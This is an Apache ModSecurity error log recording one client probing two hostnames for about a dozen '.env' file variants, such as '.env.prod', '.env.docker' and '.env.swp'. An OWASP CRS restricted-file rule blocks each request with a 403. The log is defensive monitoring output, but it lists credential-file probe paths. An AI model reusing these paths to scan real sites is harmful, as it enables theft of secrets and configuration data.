[Sat Oct 24 21:49:32.226705 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1gLDKiZtbKEGWJKoLWUAAAACE"]
[Sat Oct 24 21:49:32.226907 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1gLDKiZtbKEGWJKoLWUAAAACE"]
[Sat Oct 24 21:49:32.227194 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1gLDKiZtbKEGWJKoLWUAAAACE"]
[Sat Oct 24 21:49:32.284795 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1gLD8oejtZfsaip1YpDQAAABE"]
[Sat Oct 24 21:49:32.285026 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1gLD8oejtZfsaip1YpDQAAABE"]
[Sat Oct 24 21:49:32.285371 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1gLD8oejtZfsaip1YpDQAAABE"]
[Sat Oct 24 21:49:32.336517 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1gLDKiZtbKEGWJKoLWUQAAACE"]
[Sat Oct 24 21:49:32.336798 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1gLDKiZtbKEGWJKoLWUQAAACE"]
[Sat Oct 24 21:49:32.337148 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1gLDKiZtbKEGWJKoLWUQAAACE"]
[Sat Oct 24 21:49:32.344334 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1gLD8oejtZfsaip1YpDgAAABE"]
[Sat Oct 24 21:49:32.344508 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1gLD8oejtZfsaip1YpDgAAABE"]
[Sat Oct 24 21:49:32.344759 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1gLD8oejtZfsaip1YpDgAAABE"]
[Sat Oct 24 21:49:32.378977 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1gLDKiZtbKEGWJKoLWUgAAACE"]
[Sat Oct 24 21:49:32.379283 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1gLDKiZtbKEGWJKoLWUgAAACE"]
[Sat Oct 24 21:49:32.379564 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1gLDKiZtbKEGWJKoLWUgAAACE"]
[Sat Oct 24 21:49:32.409667 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1gLD8oejtZfsaip1YpDwAAABE"]
[Sat Oct 24 21:49:32.409911 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1gLD8oejtZfsaip1YpDwAAABE"]
[Sat Oct 24 21:49:32.410279 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1gLD8oejtZfsaip1YpDwAAABE"]
[Sat Oct 24 21:49:32.413374 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1gLDKiZtbKEGWJKoLWUwAAACE"]
[Sat Oct 24 21:49:32.413619 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1gLDKiZtbKEGWJKoLWUwAAACE"]
[Sat Oct 24 21:49:32.414093 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1gLDKiZtbKEGWJKoLWUwAAACE"]
[Sat Oct 24 21:49:32.437363 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1gLDKiZtbKEGWJKoLWVAAAACE"]
[Sat Oct 24 21:49:32.437542 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1gLDKiZtbKEGWJKoLWVAAAACE"]
[Sat Oct 24 21:49:32.437823 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1gLDKiZtbKEGWJKoLWVAAAACE"]
[Sat Oct 24 21:49:32.438988 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1gLD8oejtZfsaip1YpEAAAABE"]
[Sat Oct 24 21:49:32.439130 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1gLD8oejtZfsaip1YpEAAAABE"]
[Sat Oct 24 21:49:32.439381 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1gLD8oejtZfsaip1YpEAAAABE"]
[Sat Oct 24 21:49:32.464825 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1gLD8oejtZfsaip1YpEQAAABE"]
[Sat Oct 24 21:49:32.465016 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1gLD8oejtZfsaip1YpEQAAABE"]
[Sat Oct 24 21:49:32.465318 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1gLD8oejtZfsaip1YpEQAAABE"]
[Sat Oct 24 21:49:32.490907 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1gLD8oejtZfsaip1YpEgAAABE"]
[Sat Oct 24 21:49:32.491131 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1gLD8oejtZfsaip1YpEgAAABE"]
[Sat Oct 24 21:49:32.491456 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1gLD8oejtZfsaip1YpEgAAABE"]
[Sat Oct 24 21:49:32.500254 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1gLDKiZtbKEGWJKoLWVQAAACE"]
[Sat Oct 24 21:49:32.500403 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1gLDKiZtbKEGWJKoLWVQAAACE"]
[Sat Oct 24 21:49:32.500635 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1gLDKiZtbKEGWJKoLWVQAAACE"]
[Sat Oct 24 21:49:32.550597 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1gLDKiZtbKEGWJKoLWVgAAACE"]
[Sat Oct 24 21:49:32.550857 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1gLDKiZtbKEGWJKoLWVgAAACE"]
[Sat Oct 24 21:49:32.551218 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1gLDKiZtbKEGWJKoLWVgAAACE"]
